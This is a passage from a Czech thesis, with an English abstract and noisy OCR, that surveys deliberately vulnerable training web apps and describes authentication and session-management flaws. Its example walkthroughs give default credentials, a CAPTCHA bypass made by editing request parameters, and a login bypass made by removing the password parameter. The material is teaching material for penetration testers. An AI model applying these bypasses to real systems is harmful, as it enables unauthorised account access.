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Abstrakt

Webové aplikace mohou obsahovat rozlicné zranitelnosti. Pii vyuce pene-
traCnich testert a vyvojaru lze vyuzit jako didaktické pomucky zdmérné zra-
nitelné aplikace. V praci jsme se zamérfili na analyzu vybranych existujicich
aplikaci. Kategorizovali a popsali jsme v nich obsazené zranitelnosti a iden-
tifikovali zranitelnosti chybéjici. Nasledné jsme implementovali vlastni sadu
realistickych zranitelnych aplikaci pomoci frameworku Django. Student se v
nich chové nejen jako tto¢nik, ale i jako obétf. Diky tomu miZe lépe poro-
zumét jednotlivym zranitelnostem, jejich pribéhu a dopadu. Nami vytvorend
didaktickd pomtcka navic obsahuje i nékteré zranitelnosti, které v analyzo-
vanych aplikacich chybi. Na zadvér jsme vytvorili navod pro pouziti pomucky
pfi vyuce.

Klicova slova zranitelnd webova aplikace, penetrac¢ni testovani, didakticka
pomicka, zranitelnost, OWASP, Totally Secure aplikace, Django

Abstract

Web applications may contain various vulnerabilities. Deliberately vulnerable
applications can be used as teaching aid for penetration testers and developers
We focused on the analysis of selected existing applications. We categorized



and described the vulnerabilities contained within them and also identified
missing vulnerabilities. We have implemented our own set of realistic vulnera-
ble applications using the Django framework. The student behaves in them not
only as an attacker, but also as a victim. This enables students to better un-
derstand the individual vulnerabilities, their course and impact. Our teaching
aid also contains some of the vulnerabilities that are missing in the analyzed
applications. Finally, we have created a tutorial for using this teaching aid.

Keywords Vulnerable web application, penetration testing, teaching aid,
vulnerability, OWASP, Totally Secure applications, Django
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Uvod

Webové aplikace mohou obsahovat rozlicné zranitelnosti. Pomoci nich lze
ziskat pristup k uc¢tim uzivateld, k databidzovému systému nebo k celému
serveru. Zavaznost téchto problému je Casto podcenovana, ackoliv se jednd
o zna¢ny problém. To potvrzuje i verejnd vyroc¢ni zprava Bezpecnostni in-
formacni sluzby za rok 2017. Ta v ¢asti vénované kybernetické bezpecnosti
zminuje napiiklad i zranitelnost SQL injection v aplikaci blize neurceného
ministerstva. [I]

Abychom minimalizovali vyskyt zranitelnosti v produkéni fazi, musime
vyvojare a penetracni testery s témito problémy seznamit. Za timto ucelem
v minulosti vzniklo velké mnozstvi trénovacich aplikaci. V praci jsme se roz-
hodli omezit na projekt OWASP BWA [2] a HackMe od Foundstone, které
dohromady obsahuji pres ¢tyricet aplikaci.

Tyto aplikace jsou vytvoreny pomoci rozlicnych technologii, vznikly za
riznymi Ucely a maji k problematice jiny pristup. Popsat vSechny z nich je
mimo rozsah této prace a jelikoz neexistuji oficidlni statistiky popularity, roz-
hodli jsme se omezit na nékteré obecné uznavané a kladné hodnocené aplikace.

Cilem prace je vybrané aplikace prostudovat a porovnat, a zaroven kate-
gorizovat a popsat v nich nalezené zranitelnosti. Na zdkladé této analyzy pak
pripravit vlastni aplikaci, kterd bude obsahovat i zranitelnosti neimplemento-
vané v analyzovanych fesenich.






KAPITOLA

Analyza stavajicich aplikaci

7 projektu OWASP BWA jsme do analyzy zatadili vyukové aplikace OWASP
WebGoat [3], DVWA [4] a bWAPP [5]. Vybér jsme doplnili zdmérné zra-
nitelnymi realistickymi aplikacemi OWASP Vicnum [6] a WackoPicko [7].
Zaroven jsme do analyzy zaradili i nékteré aplikace, které se nachazi v pro-
jektu Foundstone, konkrétné HackMe Bank a HackMe Casino. VSechny apli-
kace byly vybrany po konzultaci s vedoucim préace na zédkladé jejich popularity
a vyuzitelnosti.

Tato kapitola obsahuje popis vybranych aplikaci a struc¢ny vycet jejich
zranitelnosti. Nasledné jsou zranitelnosti rozdéleny, popsany a jsou prilozeny
jejich priklady. Na zavér je uvedeno vyhodnoceni analyzovanych feseni a do-
plnéné o chybéjici zranitelnosti.

Na tomto misté je dulezité uvést zasadni informaci. Existujici aplikace
pouzivaji pojem zranitelnost velmi volné. V nékterych pripadech pojednavaji
o zranitelnostech, ale spravné by mély mluvit o utocich. Jelikoz se kapitola
zabyva popisem téchto aplikaci, bude zde pojem zranitelnost vyuzit stejné
volné.

1.1 Trénovaci aplikace

1.1.1 OWASP WebGoat

OWASP WebGoat je napsina v programovacim jazyce Java a vyuziva server
Apache Tomcat. V projektu BWA je ve verzi aplikace 5.4. V soucasné dobé
je ve vyvoji verze 8, kterd pridava nékteré nové zranitelnosti, napiiklad ne-
bezpecénou deserializaci. Aplikace je §ifena pod licenci GPLv2. V kazdém bodé
cviceni je uzivateli sdéleno, ¢eho je potieba docilit. Pokud narazi v tkolu na
problémy, muze si zobrazit napovédu, zdrojovy kéd nebo rovnou reseni cviceni.
WebGoat ve vyvojarské verzi umoznuje nékteré z danych zranitelnosti opravit.
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1. ANALYZA STAVAJICICH APLIKACI

1.1.2 DVWA

Aplikace DVWA je napsana v jazyce PHP a vyuziva MySQL. V OWASP BWA
je nainstalovana verze 1.8. DVWA je sifena pod licenci GNUv3 jako instalacni
balicek, pomoci CD nebo OWASP BWA. Seznam zranitelnosti je kratsi nez
v pripadé OWASP WebGoat, ale aplikace obsahuje 3 tirovné obtiznosti. V této
verzi je nejvyssi obtiZnost povazovana za TeSeni, které je z bezpecnostniho
hlediska spravné. Kazda stranka obsahuje napovédu a zdrojovy kéd. Regen{
neni soucasti aplikace, ale je mozné ho ziskat z volné pristupnych zdroju.

1.1.3 bWAPP

Aplikace je vytvorena pomoci jazyka PHP a vyuziva databazi MySQL. V pro-
jektu BWA je dostupné verze 1.9. Jedné se o aplikaci se zfejmé nejvétsim se-
znamem zranitelnosti. Kromé toho umoznuje tii irovné nastaveni obtiznosti.
Nékteré zranitelnosti jsou zde ve vice variantach a vzhledem ke tfem drovnim
obtiznosti davaji dostatecné velky prostor k jejich prozkoumani. V nékterych
pripadech slouzi zranitelnosti pro demonstraci, jak dany princip webovych
aplikaci funguje. Aplikace je komplexni a obsahuje i nékteré méné casté zra-
nitelnosti mezi trénovacimi aplikacemi, jako je SSRF nebo XXE. Zaroven
pridava i zranitelnosti nejen webovych aplikaci, naptiklad Heartbleed. bLWAPP
na rozdil od WebGoat neobsahuje navod k feseni. Lze nalézt volné dostupné
navody, které vsak nejsou kompletni.

1.2 Zranitelné realistické aplikace

1.2.1 OWASP Vicnum

OWASP Vicnum je vytvofen pomoci PHP a Perlu. Aplikace se sklada ze
CtyT zranitelnych miniher. Soucdsti OWASP BWA je starsi verze aplikace,
ktera obsahuje pouze tri hry. Projekt je Sifen pod licenci Creative Commons
Attribution-ShareAlike 3.0. Prilozeny manual obsahuje zminky o zranitelnos-
tech, ale nejsou zde mista jejich vyskytu a reseni. V tabulkach a jsou
zaznamenany vsSechny problémy, které jsme béhem testovani aplikace nasli.

1.2.2 WackoPicko

WackoPicko je stejné jako vétsina drive zminénych aplikaci vytvofena pomoci
programovaciho jazyka PHP. Jako databaze slouzi MySQL. Aplikace je sifena
pod licenci MIT. Tato aplikace byla vytvorena v praci Why Johnny Can’t
Pentest [8], kterd srovniva automatické skenery zranitelnosti. Jeji zranitel-
nosti mizeme rozdélit do dvou skupin. Prvni skupina je odhalitelnd pro ne-
autentizované uzivatele, pro testovani druhé skupiny zranitelnosti je potieba
se do aplikace prihlasit.
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1.2.3 HackMe Bank

Na rozdil od ptredchozich aplikaci HackMe Bank vyuziva technologie od firmy
Microsoft, konkrétné ASP.NET, Microsoft SQL server a IIS. V této préci jsme
otestovali verzi 2.0, kterd byla vytvorena v roce 2006. Program je sifen pod
licenci Apache 2.0. K aplikaci je dostupny ndvod obsahujici vSechny zranitel-
nosti a zpusob jejich vyuziti. Kvuli stafi projektu a akvizi firmy Foundstone fir-
mou McAfee neni dostupnd domovskd stranka. Stazeni aplikace je nyni mozné
z neoficialnich zdroja.

1.2.4 HackMe Casino

HackMe Casino je implementovana v Ruby On Rails. K dispozici jsme méli
verzi 1.0, kterd obsahuje pouze pét zranitelnosti. Aplikace je Sifena pod li-
cenci Apache 2.0 a lze ji instalovat na operacni systém Windows. Stejné jako
v HackMe Bank je dostupny navod pro instalaci a zneuziti zranitelnosti.

1.3 Popis zranitelnosti

Zranitelnosti 1ze délit do skupin ¢i podskupin dle nékolika kritérii. Katego-
rizace a organizace, pro kterou jsme se rozhodli je zalozena na knize Web
Application Hacker Handbook [12]. Tato kniha obsahuje komplexni informace
o problematice bezpe¢nosti webovych aplikaci. Kromé rozélenénych problému
obsahuje i kapitoly zamérené na technologie webovych aplikaci, automatizaci
utokd a mnoho dalsiho. Nasledny text obsahuje vzdy popis kategorie a dale
konkrétni zranitelnosti spolu s ptiklady z testovanych aplikaci.

Neékteré vyse zminéné aplikace déli zranitelnosti napriklad dle projektu
OWASP Top Ten [9]. Tento projekt mé za cil zvefejnit deset nejcastéjisich
kategorii zranitelnosti webovych aplikaci soucasnosti. Posledni vydany seznam
v dobé psani této prace byl vytvoren v roce 2017. Jelikoz se seznam méndi,
a neobsahuje vSechny kategorie zranitelnosti, neni vhodnou volbou pro jejich
Uplné rozdéleni. Druhou moznosti je rozdéleni dle OWASP Testing Guide [10].
Tento projekt se zaméruje na predani informaci o tom, jak testovat pritomnost
danych zranitelnosti.

1.3.1 Autentizace

Autentizace je proces, ktery ma za cil ovérit identitu uzivatele. K autentizaci
mizeme pouzit néco co vime, co mame nebo co jsme. Tedy napiiklad heslo,
¢ipovou kartu nebo nasi sitnici. V piipadé webovych aplikaci se pouziva [12,
kap. 6]:

e HTTP autentizace — Pro uzivatele se jevi jako vyplnéni jména a hesla
do vyskakovaciho okna prohlizece. Prohlize¢ pak v pripadé verze HTTP
basic odesila fetézec jméno:heslo, zakdédovany pomoci base64. Pokud
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utocnik zachyti tuto zpravu, mize heslo ziskat dekddovanim. Resenim je
pouziti TLS. Druhou variantou HT'TP autentikace je digest. Ta vyuziva
hashovaci algoritmus MD5, takze heslo neni pro ttoc¢nika tak jedno-
duché ziskat. Presto by mu ale v pripadé zachyceni zpravy stacilo tuto
zpravu preposlat a mohl by se za uzivatele vydavat. Proto verze digest
vyuziva tzv. nonce. V praxi se lze nejvice setkat s HI'TP basic auten-
tizaci kombinovanou s TLS. Prikladem pouziti je omezeni pristupu na
verejné dostupny webovy server s testovaci verzi webové aplikace.

e Uzivatelské SSL certifikiaty — Pti navazovani SSL/TLS spojeni je mozné,
aby klient predal serveru svij certifikat. V praxi neni tento zptisob au-
tentizace pro koncové uzivatele rozsiten, a to hlavné kvili naroc¢nosti
distribuce certifikatt. Jsou ale vhodnou volbou pro aplikace vyzadujici
vyssi stupen zabezpeceni.

e NTLM — Jedné se o autentiza¢ni protokol pouzivany hlavné v softwaru
firmy Microsoft. Pri testovani webovych aplikaci se s nim muzeme setkat
napiiklad pri autentizaci na proxy serveru. V soucasné dobé se vétsinou
pouzivd NTLMv2.

e Autentizace pomoci HTML formulafe — Ziejmé nejrozsifenéjsi formou
autentizace u webovych aplikaci je zadani jména a hesla do HTML for-
mulafe. Uzivatel pristoupi na webovou stranku, vyplni do formulare
svoje prihlasovaci udaje a formular odesle. Uzivatelské heslo se pak
v pripadé pouziti metody GET nachézi v URL. To pak muze byt za-
chyceno na proxy serveru nebo v pristupovém logu webového serveru.
Heslo je také ulozeno v historii prohlizec¢e. Pti pouziti metody POST se
heslo nachazi v téle pozadavku.

e Dvoufaktorova autentizace — Pro autentizaci uzivatele je potfeba predat
vice udaju. Casto se vyuziva dalsich komunikaénich kanalt pro odeslani
jednorazového koédu s omezenou casovou platnosti. V minulosti se jako
druhy kanal pouzivala SMS. Obecné se dalsi kanal pouziva u aplikaci
s dlirazem na bezpecnost, typicky u internetového bankovnictvi. S postu-
pem ¢asu se ovSem zacala vyuzivat u vétsiho mnozstvi aplikaci, napriklad
i sluzeb prodavajici poc¢itacové hry. Dnes se mimo SMS pouzivé také
email. S pfichodem chytrych mobilnich zarizeni, které maji pripojeni
k internetu, se rozsirila moznost pro dvoufaktorovou autentizaci vyuzit
mobilni aplikace.

Dulezitym prvkem pii feSeni autentizace je sledovani aktivit, jejich za-
znamenavani, analyza, mozna reakce a notifikace uzivatele. Mélo by dochézet
k zaznamenani kazdého pokusu o prihlaseni, obnovu nebo zménu hesla. Kromé
Casu a uzivatelského jména by mél byt zapsan i vysledek a také nasledek
této akce, napriklad blokace t¢tu. V zdznamu by nemély chybét informace
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1.3. Popis zranitelnosti

o zarizeni z kterého byla akce provedena, jako je IP adresa a pouzity webovy
prohlizec.

Uzivatel by pak mél byt schopen si zobrazit dané informace tykajici se
jeho tuc¢tu. Vhodnym doplnénim informovanosti je zobrazeni notifikace po
prihléseni. Ta uzivateli sdéli, kdy se naposledy prihlésil a kolik od té doby
probéhlo netspésnych pokust o prihlaseni. V aplikacich jako je internetové
bankovnictvi, vétsinou neexistuje relevantni divod pro soubézné prihlaSeni
jednoho uzivatele z vice mist. Proto je vhodné tomuto chovani zabréanit, pti
novém prihlaseni staré spojeni prerusit a uzivatele informovat. Pokud je nao-
pak typické, ze uzivatel aplikaci pouziva z vice zarizeni najednou, mél by mit
o vSech spojenich ptehled a zaroven moznost vybranou relaci ukonéit.

Zaznamy aplikaci by mél sledovat jejich administrator, nebo by mély byt
napojeny na centralni sledovani, kde jsou analyzovany zdznamy z rtznych
bezpecnostnich zarizeni. Lze tak odhalit systematicky ttok a proaktivné jed-
nat za icelem jeho eliminace. Nezavisle na vyhodnoceni situace bezpec¢nostnim
tymem by mél byt uzivatel okamzité informovan o vyse zminénych aktivitach
na jeho uc¢tu pomoci jiného kanalu.

V nasledujicich podkapitolach budeme predpokladat, ze aplikace vyuziva
autentizaci pomoci HTML formulare.

1.3.1.1 Slabé heslo

V praxi se lze setkat s ruznymi politikami nastaveni hesel. Zfejmé nejcastéji
musi heslo obsahovat alespon jednu ¢islici, jedno malé a jedno velké pismeno.
Pritom délka hesla musi byt alespon 8 znakt. Cilem téchto pravidel je zvétSeni
entropie hesla. Tu Ize spocitat pomoci vzorce:

H =loga(N) « L

Délka hesla je oznacena symbolem L a pocet moznych znaki na jedné
pozici je oznacen symbolem N. Silu hesla dle jeho entropie lze zjistit napiiklad
na [11].

U kritickych aplikaci jsou pozadavky vyssi, naopak u nékterych aplikaci je
mozné vytvorit heslo o jednom znaku. V tomto piipadé ho lze snadno uhod-
nout. Nastavovana hesla bychom méli kontrolovat na [10), kap. OTG-AUTHN-
007]:

e Minimalni délku — Vhodna minimalni délka hesla je diskutabilni. S prilis
nizkou hodnotou roste pravdépodobnost uhodnuti hesla. S vysokou hod-
notou roste pravdépodobnost, ze uzivatel heslo zapomene, nebo si ho
nékam zapise.

e Skupiny znakii — Pokud chceme zvysit entropii hesla, je potfeba kromé
jeho délky také zvétsit pocet moznych znakt. Proto by heslo mélo obsa-
hovat alespon jedno malé a velké pismeno, jednu ¢islici a alespon jeden
specialni znak.
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e Maximalni stari hesla — Pokud ttoc¢nik zjistil uzivatelovo heslo, je vhodné
omezit dobu, po kterou ho uto¢nik mize vyuzit. Tento pozadavek vsak
neni mezi uzivateli oblibeny a u webovych aplikaci pro koncové zakazniky
se bézné nevyskytuje.

e Predchozi pouziti —Pokud je uzivatel nucen heslo ménit, nemél by mit
moznost heslo zménit na nékteré, které pouzil v nedavné minulosti. Ty-
picky se uchovavé poslednich pét hesel.

e Obsah hesla — Heslo by nemélo obsahovat uzivatelské jméno nebo osobni
informace uzivatele. Zaroven by nemélo jit o bézné slovo nebo uhodnu-
telny sled klaves.

e Zménu hesla po prvnim prihldseni — Pokud je heslo vytvoreno admi-
nistratorem pri registraci, je vhodné donutit uzivatele, aby si ho po
prvnim piihlaseni zménil.

Kvalitu hesla muzeme otestovat velmi jednoduse pri registraci nebo zméné
¢i obnoveni hesla. Aplikace nam cCasto sdéli pozadovany tvar hesla, ktery ale
nemusi byt vynucovan.

Priklady zranitelnosti

Aplikace: bWAPP
Zranitelnost: Slabé heslo
URL: /bWAPP/ba_weak_pwd.php

Na strance je mozné vyzkouset hddani prihlasovacich tdajia. Problémem
pfi feseni je unifikovand odpovéd po pokusu o piihlaseni. Spravné prihlasovaci
jméno je test. Dle tirovné obtiznosti ma heslo hodnotu test, test123 nebo
Test123.

1.3.1.2 Chybéjici ochrana proti titoku hrubou silou

Se slabym heslem tizce souvisi i to, kolikrat muze to¢nik zkusit heslo uhod-
nout. U aplikace bez jakékoliv ochrany je mozné heslo zkousSet neomezené.
Pokud je heslem slovo ze slovniku a pokud pficteme moznost ttok paralelizo-
vat, pak je pro ttocnika ziskani hesla velmi snadné. Tomuto problému vsak
lze zabranit. Jednim z typickych feSeni je ticet po nékolika netspésnych po-
kusech o prihlaseni zablokovat na kratsi casovy tusek, ¢asto v fadu jednotek
az desitek minut. Tomuto limitu se rika tzv. mékky limit. Mezni hodnota na
pocet Spatnych prihlaseni je pak nejcastéji tii nebo pét. Otazkou ale zustava,
jak blokaci realizovat.

V praxi jsme se setkali s ruznymi resenimi. Jedno z nich bylo vytvorit
uzivateli po pristupu na webovou stranku cookie a po trech netspésnych po-
kusech danou cookie zablokovat. Pokud ovsem uzivatel poslal dalsi pozadavek
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bez této cookie, byla mu nastavena nova a mohl tak v pokusech o prihldseni
pokracovat.

I v pripadé pouziti mékkého limitu je pro tutocnika teoreticky mozné po-
kracovat v ttoku hrubou silou. Proto se v praxi nastavuje tzv. tvrdy limit,
ktery ucet zablokuje a uzivatel je nasledné nucen své heslo obnovit. Vétsina
béznych aplikaci tento limit nenastavuje. Bezpecnostné kritické aplikace mo-
hou pouzit tvrdy limit misto tfetiho mékkého limitu v tfadé. V nékterych
ptripadech je pak aplikovan rovnou tvrdy limit. Nékteré aplikace se snazi tuto
metodu vyuzit a po tretim zadani Spatného hesla zobrazi uzivateli informaci
0 tom, ze je tcet zablokovan. Pokud jako ¢tvrty pokus uzivatel zada spravné
heslo, je prihlasen. Proti ito¢nikovi, ktery ma o systému minimalni znalosti se
miize jednat o zdanlivé dostacujici ochranu. Proti tto¢nikovi s urc¢itou znalosti
systému, napriklad pokud ma svij vlastni 1icet, je tato metoda netcinna.

Dalsi moznosti, kterd mize pomoci proti automatizovanym utokim je im-
plementace CAPTCHA. Tu lze zobrazit okamzité, nebo az po netspésném
pokusu o prihlédseni. Nékteré aplikace také po nékolika netispésnych pokusech
o prihlaseni po uzivateli kromé hesla vyzaduji navic i osobni informaci. Prinos
této metody je ponékud diskutabilni, protoze v pripadé cileného ttoku na
daného uzivatele mtze toénik tuto informaci zjistit. V pripadé necileného
utoku, u kterého utocnik néjakym zpusobem ziskal seznam uzivateli je prinos
také nejisty. Uto¢nik miize misto zkouseni vSech hesel pro jeden tcet kontro-
lovat jedno heslo pro vsechny 1ucty. Nez projde vSechny tucty, je mozné Ze se
¢ita¢ neuspésnych pokusti o prihladseni vynuluje. Tento zptsob utoku je tak
méné zachytitelny.

Pro automatizované testovani je mozné pouzit naptiklad nastroj Burp Su-
ite Intruder [14]. Podrobnéjsi informace o jeho pouziti jsou v kapitole

Priklady zranitelnosti

Aplikace: DVWA
Zranitelnost: Utok hrubou silou
URL: /dvwa/vulnerabilities/brute/

P1i jednoduché obtiznosti neni pouzita zadna ochrana. Zaroven je nastaveno
jednoduché heslo, které lze uhodnout i bez pouziti automatizace. Heslo je
stejné jako uzivatelské jméno a jeho hodnota je user.

Na stfedni obtiZnost je zpozdéna odpovéd serveru, kterd automatizovany
utok zpomali, ale stale bude tspésny. Pii zméné na vysokou obtiznost dochézi
i ke kontrole CSRF tokenu, ktery je obsazen v odpovédi serveru. V pripadé au-
tomatizace je potfeba vytvorit pravidlo, které tento token extrahuje a preposle
s kazdym dalsim pozadavkem. Jak toto provést a jak vybrat soubor pro
slovnikovy dtok je ukazano v kapitole


/dvwa/vulnerabilities/brute/

1. ANALYZA STAVAJICICH APLIKACI

Aplikace: DVWA
Zranitelnost: Spatné kontrola CAPTCHA
URL: /dvwa/vulnerabilities/captcha/

Cilem cviceni je zménit heslo. Funkcionalitu ovSem chrani CAPTCHA. Pokud
se pokusime heslo zménit, dostaneme zpravu, ze jsme nevyplnili spravné CAP-
TCHU. V dotaze je parametr step=1. Jeho zménou na step=2 tuto kontrolu
obejdeme. V nastaveni na stfedni obtiznost je potieba odeslat jako parametr
také passed_captcha=true.

1.3.1.3 Enumerace uzivatelského jména

Krok predchézeji titoku hrubou silou je zjisténi ptihlasovaciho jména. To lze
provést nékolika zplisoby. V této Casti se zamérime na ziskani jména pro
prihlaseni pres webovou stranku jako neautorizovany uzivatel. Pti¢inou to-
hoto problému ¢asto byva prilis informativni chybova hlaska. Napriklad pokud
se uzivatel snazi prihlédsit, aplikace mu v pripadé Spatné zadanych informaci
sdéli, zda dany uzivatel neexistuje, nebo zda je pro daného uzivatele nespravné
zadané heslo.

Dalsi moznosti je vyuzit formuldfe pro obnoveni hesla. Zde se objevuje
informace o odeslaném emailu nebo Spatné zadané emailové adrese. Emai-
lova adresa se ovSem casto pouziva i jako uzivatelské jméno pri prihlaseni.
Resent je jednoduché, uzivateli zobrazit obecnou chybu ,,Nespravna kombi-
nace uzivatelského jména a hesla“ nebo ,, Pokud byla emailova adresa zadana
spravné, zprava byla odeslana“.

Specialnim pripadem je ttocnikovi zndmy forméat uzivatelského jména,
naptiklad potradové cislo vzniklé inkrementaci. Utoénik tak jména nemusi
hledat. Také je mozné udélat i nékteré odhady, napriklad uzivatel s nizkym
poradovym ¢islem miuize byt administratorsky nebo testovaci icet. Vyuzivanou
funkcionalitou pro ziskani informaci je registrace uzivatele. Pokud ji uzivatel
provadi sdm a plati predpoklad, Ze prihlasovaci jméno je v systému unikatni,
musi byt provedena kontrola, zda dané jméno jiz neexistuje a umoznit novému
uzivateli zvolit jiné. Za ucelem maximalizace uzivatelského pohodli pri regis-
traci jsou vynechdvana ochranna opatfeni. Vhodnym feSenim je implementace
CAPTCHA.

Jednou z dalSich moznosti ziskani uzivatelského jména a hesla, se kterou
jsme se v praxi setkali, je i dekompilace Flash [I3] aplikace. PTi jejim blizsim
zkouméni byly objeveny ulozené testovaci piihlagovaci idaje. Redenf je v tomto
pripadé jednoduché, a to pri prechodu z testovaciho prostredi do produkéniho
odstranit vsechny tudaje, které miuze ttocnik zjistit a zneuzit. Je také vhodné
pro ukladani hesel vyuzit manazer hesel.
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Priklady zranitelnosti

Aplikace: OWASP WebGoat
Zranitelnost: Informativni obnova hesla
URL: |/WebGoat/attack?Screen=64&menu=500

V prvnim kroku uzivatel vybira uzivatelské jméno, pro které méa dojit k obnove
hesla. Pokud zada neexistujici jméno, zobrazi se mu chyba. Pokud zada exis-
tujici jméno, zobrazi se mu bezpec¢nostni otdzka. Zaroven neni nijak limitovan
pocet pokust na zadani jména.

1.3.1.4 gpatné manipulace s heslem

Tato ¢ast je vénovana distribuci, zaddvani, zméné a obnové hesla. Zivotni cyk-
lus hesla za¢ina jeho vytvorenim. Uzivatel si miize heslo vytvorit sém, miize
mu byt vygenerovano automaticky nebo miize byt vytvoreno administratorem.
V pripadé generovani hesla administratorem je heslo ¢asto jednoduché a pre-
dikovatelné. Prvotni heslo muze byt dokonce stejné pro vSechny uzivatele,
nebo muze obsahovat sekvenci ¢i ¢ast informaci z profilu uzivatele. V takovém
pripadé pak miize byt pro ttocnika se znalosti tohoto formatu jednoduché
ivodni heslo zjistit.

V kazdém stadiu zivotniho cyklu hesla by mélo heslo odpovidat nasta-
vené politice hesel. Zaroven by heslo mélo byt unikitni a nepredikovatelné.
V nékterych pripadech je pak tvodni heslo poslano uzivateli pomoci jiného
kanalu, nejéastéji pomoci emailu nebo SMS. Tyto zpravy je vsak mozné zachy-
tit a zjistit jejich obsah. Samotné heslo bychom nikdy neméli posilat uzivateli
nezabezpecenym kandlem. Zaroven bychom meéli uzivatel donutit, aby si po
prvnim prihlaseni heslo zménil. Nasleduje vycet pravidel, které by aplikace
meéla obsahovat. [12), str. 199]

1. Méla by vyzadovat staré heslo a zadani nového hesla dvakrat
2. Nikdy by neméla sdélit uzivateli staré heslo

3. Méla by ménit heslo pouze aktualné prihldsenému uzivateli. Nikdy by
neméla spoléhat na vstup ovlivnitelny uzivatelem, napiiklad v skrytém
poli formulare.

4. Formulaf by mél mit CSRF token, aby tto¢nik nemohl donutit obét si
heslo nevédomé zménit.

5. Pokud utocnik ziskal pristup k aplikaci, naptiklad se uzivatel zapomnél
odhlasit, méla by obsahovat ochranu proti itoku hrubou silou. Pfi kon-
trole starého hesla je totiz uzivateli sdéleno, zda ho zadal Spatné. Na
stranku je mozné pridat CAPTCHA nebo omezit pocet pokusi a odhlasit
uzivatele v pripadé opakovaného Spatného pokusu o zménu hesla.
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6. Pro pripad, ze uto¢nik zjistil uzivatelovo heslo a je aktualné prihlasen,
méla by zména hesla uzivatele odhlésit ze vSech zarizeni.

7. Kazda zména hesla by méla byt uzivateli nahldasena pomoci dalsiho
kandlu, naptiklad emailu ¢i SMS. Neméla by ovSsem obsahovat nové ani
staré heslo.

V pripadé obnoveni hesla by mél uzivatel zadat svoje prihlasovaci jméno
nebo email. Nasledné by aplikace nikdy neméla uzivateli ukazat aktualniho
heslo nebo ho posilat emailem. Zaroven by ani neméla dovolit okamzité zadat
heslo nové. Vhodnou moznosti je odeslani URL s parametrem id, ktery je
nédhodny, unikdtni a dostatecné dlouhy, aby ho tto¢nik neuhodl. Platnost
parametru musi byt ¢asové omezend, napriklad na nékolik desitek minut ¢i
jednotek hodin. Po uziti dané URL by mélo dojit k jejimu zneplatnéni, tedy
méla by byt pouze jednorazova.

Za Ucelem zvyseni bezpecnosti je pak mnohdy implementovan mechanis-
mus bezpecnostnich otazek. Predpripravené otazky se vétsinou ptaji na in-
formace, které je mozné jednoduse zjistit, zvlasté pro ¢lovéka blizkého obéti.
Pravdépodobnost, ze ttoénik zjisti odpovéd na danou otdzku roste pokud
obét pouziva socialni sité. V pripadé, Ze si uzivatel voli otdzky sdm, muze
bezpec¢nost jesté klesnout. Znalost odpovédi na bezpecnostni otazky by tak
neméla byt dana na stejnou uroven jako znalost hesla. Pokud uzivateli staci
odpovédét na jednu otdzku, nemél by byt schopen si ji vybrat. Kdyz musi
odpovédét na vice otazek, mél by odpovidat na vSechny najednou. Zaroven
neni vhodné pouzivat napovédy k heslim, protoze si do nich uzivatel mize
ulozit heslo samotné.

Priklady zranitelnosti

Aplikace: OWASP WebGoat
Zranitelnost: Spatna obnova hesla
URL: /WebGoat/attack?Screen=64&menu=500

V prvnim kroku uzivatel vybird uzivatelské jméno. Pokud existuje, musi zadat
oblibenou barvu a mnozstvi odpovédi je tak omezené. Pro spravné odpoveédi,
kterou je zelend, je ukazédno aktudlni heslo.

Aplikace: OWASP WebGoat
Zranitelnost: Prenos hesla pres HT'TP
URL: /WebGoat/attack?Screen=67&menu=1300

Heslo se pienasi jako parametr v POST pozadavku pres HT'TP. Ukolem je
odposlechnout heslo na lokalni siti a nasledné ho zadat do dalsiho formulére.
Samotné odchyceni muzeme simulovat pomoci programu Wireshark [15] na
stejném zarizeni. Po zadani hesla sniffy miiZzeme pristoupit ke strance pomoci
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HTTPS. Nasledné provedeme odchyceni a odpovime na otazky, zda bylo heslo
viditelné a pomoci jakého protokolu bylo pfeneseno.

1.3.1.5 Chyby v kontrole prihlasovacich tdajt

Na prvni pohled je kontrola prihlasovacich tdaji jednoducha. Muze se ovSem
stat, ze programdtor spravné neosetii vstup, neuvédomi si vSechny mozné
stavy a udéla logickou chybu, nebo spoléhd na to, Ze uzivatel nemtze zménit
uréitou hodnotu.

Pravdépodobnost chyby roste v pripadé prihlaseni ve vice stupnich, tedy
pri pouziti vicefaktorové autentizace. Pokud v aplikaci dojde k chybé, méla
by skoncit bezpeéné. Neméla by utoénikovi poskytnout cennou informaci a
neméla by ho prihlasit.

V pripadé vicefaktorové autentizace se v prvnim kroku typicky ovéii jméno
a heslo. V dalsim kroku se pak ovéri nejcastéji jednorazovy kéd doruceny pres
jiny kanal. Mezi témito kroky neni mozné spoléhat na skryté pole ve formulari
k predani uzivatelského jména a hesla do dalsiho kroku.

Mozné teseni je vytvoreni tokenu jiz po ovéreni hesla a po zkontrolovani
druhého faktoru nastavit atribut tokenu. Dalsi moznosti je po ovéreni druhého
faktoru vytvorit novy plnohodnotny token. Jako jedno z feseni predchozich
problémiu jsme uvadéli pouziti CAPTCHA. Ta samotnd muze byt také zra-
nitelnd, napriklad zadany text muze nékde skryté uvést. Text také nemusi
byt generovan nahodné, ale na zakladé nékterych udaja, které muze atocnik
zjistit.

Priklady zranitelnosti

Aplikace: OWASP WebGoat
Zranitelnost: Neosetirend vyjimka
URL: /WebGoat/attack?Screen=39&menu=1000

Uzivatel se mize prihlasit bez zadani hesla. Prvnim krokem je zadani jména
webgoat bez hesla a odesldni pozadavku. V proxy pak ttoénik musi smazat
parametr password= a neosetfena vyjimka uzivatele prihlasi.

1.3.2 Sprava relaci

Potom co jsme ovérili identitu uzivatele pti prihlaseni, stoji pfed nami dalsi
problém. Potfebujeme uzivatele ovérit i pri kazdém dalsim pozadavku. HT'TP
protokol je bezestavovy a tak je na aplikaci samotné, aby tento stav udrzovala.
Nejbéznéjsim zptisobem pro zjisfovani, od kterého uzivatele dotaz piisel je
pouziti relacniho tokenu. Tento token pak uzivatel odesild s kazdym dalSim
pozadavkem. Zpisob, jak ho nastavit a prenést je nejCastéji pomoci cookie.
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1.3.2.1 Predvidatelny token

Zakladnim pozadavkem na autentiza¢ni token je jeho nepfedvidatelnost a
unikatnost. Neni vhodné do néj vkladat informace o uzivateli jako je cas
prihlaseni, IP adresa nebo uzivatelské jméno. Nékdy je mozné se setkat s apli-
kaci, kterd tyto informace kdoduje, typicky s vyuzitim base64. Kazdy uzivatel
vsak muze data jednoduse dekdédovat. Dalsi moznosti je aplikovat hashovani.
Tim budou informace pro uzivatele skryty, ale ito¢nik znaly procesu generace
tokenu muze byt stale schopen pripravit token dle potreby. Dale neni vhodné
spoléhat na pouziti inkrementélniho ¢itace nebo informaci o klientovi.

Priklady zranitelnosti

Aplikace: OWASP WebGoat

